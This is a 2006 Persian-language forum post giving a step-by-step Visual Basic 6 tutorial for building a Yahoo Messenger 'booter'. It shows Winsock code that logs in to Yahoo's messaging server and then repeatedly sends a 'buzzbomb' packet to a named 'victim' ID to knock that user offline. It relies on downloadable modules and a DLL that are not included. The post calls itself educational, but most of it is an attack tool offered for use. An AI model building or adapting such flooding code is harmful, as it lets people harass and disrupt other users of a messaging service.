watoo_watoo9
05-29-2006, 12:58 AM
این جانب نویسنده این مقاله هیچ مسئولیتی در قبال استفاده شما از مطالب این مقاله را بر عهده نمی گیرم زیرا این مقاله فقط جنبه آموزشی دارد و در صورتی که با این موضوع موافق نیستید از خواندن ادامه این مقاله پرهیز کنید . شاید تا بحال اتفاق افتاده که بعد از کلی گشتن به دنبال یک برنامه بوت خوب به این فکر کنید که اگه میتونستید خودتون یه بوتر بسازید بهترین بوتر رو می ساختید . حالا من می خواهم بهتون کمک کنم که این آرزو به واقعیت بپیوندد البته من فقط راه رو نشونتون میدم اگه میخواهید تو این راه از بقیه جلو تر باشید خودتون باید تلاش کنید . اگه یکم تلاش کنید حتی میتونید یک ربات پاسخ گو برای یاهو بنویسید .خوب واسه شروع لازمه که ویژوال بیسیک 6 رو رو سیستم خودتون نصب کنید حالا اون رو اجرا کنید و یه فرم جدید باز کنیدخوب بعد از این کار لازمه که چند تا کنترل هم به فرمتون اضافه کنید که به شرح زیر می باشد :3 تا تکست باکس به نام username و password و victim3 تا کامند باتن به نامهای connect و disconnect و boot1 لیبل به نام status که خاصیت Caption اون رو به Disconnect تغیر دهیدالبته در شکل یه سری کنترل های دیگه ای هم وجود داره که انتخوابی هستش و هرجوری که دوست دارید میتونید اونا رو ایجاد و نامگزاری کنیدیک کنترل وینساک به نام winsock1توجه نمائید برای اضافه کردن این کنترل به نوار ابزار ابتدا دکمه کنترل را به همراه دکمه T به طور همزمان فشار دهید بعد یه پنجره باز میشه که باید دنبال عبارت میکروسافت وینساک 6 بگردینخوب حالا میریم سر اصل مطلب . شما برای ایجاد بوتر نیاز به 2 تا ماژول هم دارید که اون رو میتونید ازاینجا دانلود کنید بعد باید این ماژول ها رو به پروژه خود اضافه کنید واسه همین کار از منوی ویو پروجکت اکسپلورر رو انتخواب کنید Tools -> Project Explorerحالا از پنجره سمت چپ روی نام پروژه کلیک و سپس از منوی Add عبارت ماژول Module رو انتخواب نمائیدخوب حالا یه پنجره باز میشه که دارای 2 تا تب tab هستش و شما باید تب Existing رو انتخواب و ماژول ها رو انتخواب نمائیچون امکان انتخواب همزمان 2 تا ماژول نیست طبیعی که 2 بار باید این کار رو انجام بدینحالا بریم سر اصل مطلب . روی command1 کلیک کنید و کد زیر رو وارد نمائیدWinsock1.CloseWinsock1.Connect "scs.msg.yahoo.com", 5050با این کد با فشرده شدن دکمه اول به آدرس "scs.msg.yahoo.com" ارتباط بر قرار میکنیمحالا باید بریم سروقت کنترل وین ساکروی کنترل وینساک کلیک کنید و در قسمت بالا سمت راست عبارت Connect رو انتخواب نمائیدسپس کد زیر را اضافه نمائیدstatus.Caption = "Connecting "Winsock1.SendData Get_Key(username.text)حالا همون بالا سمت راست عبارت Data Arrival رو انتخواب نمائید و کد زیر را وارد نمائیدDim Data As String, ChallengeString As StringWinsock1.GetData DataSelect Case Asc(Mid(Data, 12, 1))Case Is = 87ChallengeString = Split(Data, "94À€")(1)ChallengeString = Split(ChallengeString, "À€")(0)getencrstrings username.text,password.text, ChallengeString, Crypt(0), Crypt(1), 1Winsock1.SendData Login(username.text)SessionKey = Mid(Data, 17, 4)Case Is = 84status.Caption = "Wrong Password "Winsock1.CloseCase Is = 85status.Caption = " Connected"End SelectDebug.Print Asc(Mid(Data, 12, 1)) & " - " & Dataحالا دوباره به جای DataArivall عبارت Close رو انتخواب نمائید و کد زیر را وارد نمائیدstatus.Caption = " Disconnected."و در آخر عبارت Error رو انتخواب نمائید و کد زیر را وارد نمائیدWinsock1.closestatus.Caption = "Error Login "خوب حالا وقتی Username و Passworde یک آیدی یاهو رو بنویسید و Command1 رو فشار بدین آیدیتون آن لاین میشه و حالا نوبته بوت کردنه پس بریم سر کد بوت :حالا روی command2 کلیک کنید و کد زیر را وارد نمائیدIf Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If If Winsock1.State = sckConnected ThenWinsock1.SendData buzzbomb(username.text, victim.text)End If خوب اینم از بوت البته این تابع buzzbomb یکی از حالات بوت هستش و هر نوع بوتی یه تابع جدا هستش که کد خواصی رو داره و من سعی میکنم چند تا از این توابع رو واستون توی ماژول Packets بزارم خودتون دنبالش بگردینحالا کار ما تموم شده و می خواهیم از یاهو Disconnect بشیم . واسه این کار فقط کافیه که روی Command3 کلیک کنیم و کد زیر را وارد نمائیمstatus.Caption = " Disconnected."Winsock1.Closeخوب اینم از این مقاله , فکر می کنم مقاله خوبی باشه برای شروع . یادتون باشه که تنها چیزی که برای پیشرفت مهم هستش پشت کار هستش و شما با یه کم حوصله و پشت کار میتونید به هر جا که می خواهید برسید . فقط در آخر یه توضیح باید بدم اونم اینه که به همراه این ماژولها یه فایل با نام YMSG12ENCRYPT.dll هستش که اونو باید توی پوشه پروژتون یعنی تو همون فولدری که این پروژه رو ذخیره کردین کپی پست کنید و یه نکته هم اینکه تمام این بخشهایی که بالا توضیح دادم مثلا انتخواب DATA Arrival یا Close بعد از انتخواب یه تابع به صورت زیر باز میشه که کدهای هر بخش را باید درون ان تابع قرار دهید مثلا :Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)... محل قرار گرفتن کدها End Sub یاPrivate Sub Winsock1_Close()... محل قرار گرفتن کدها nemidonam ki va koja neveshte bod didam bahale ija copy kardam ba ejaze sahebesh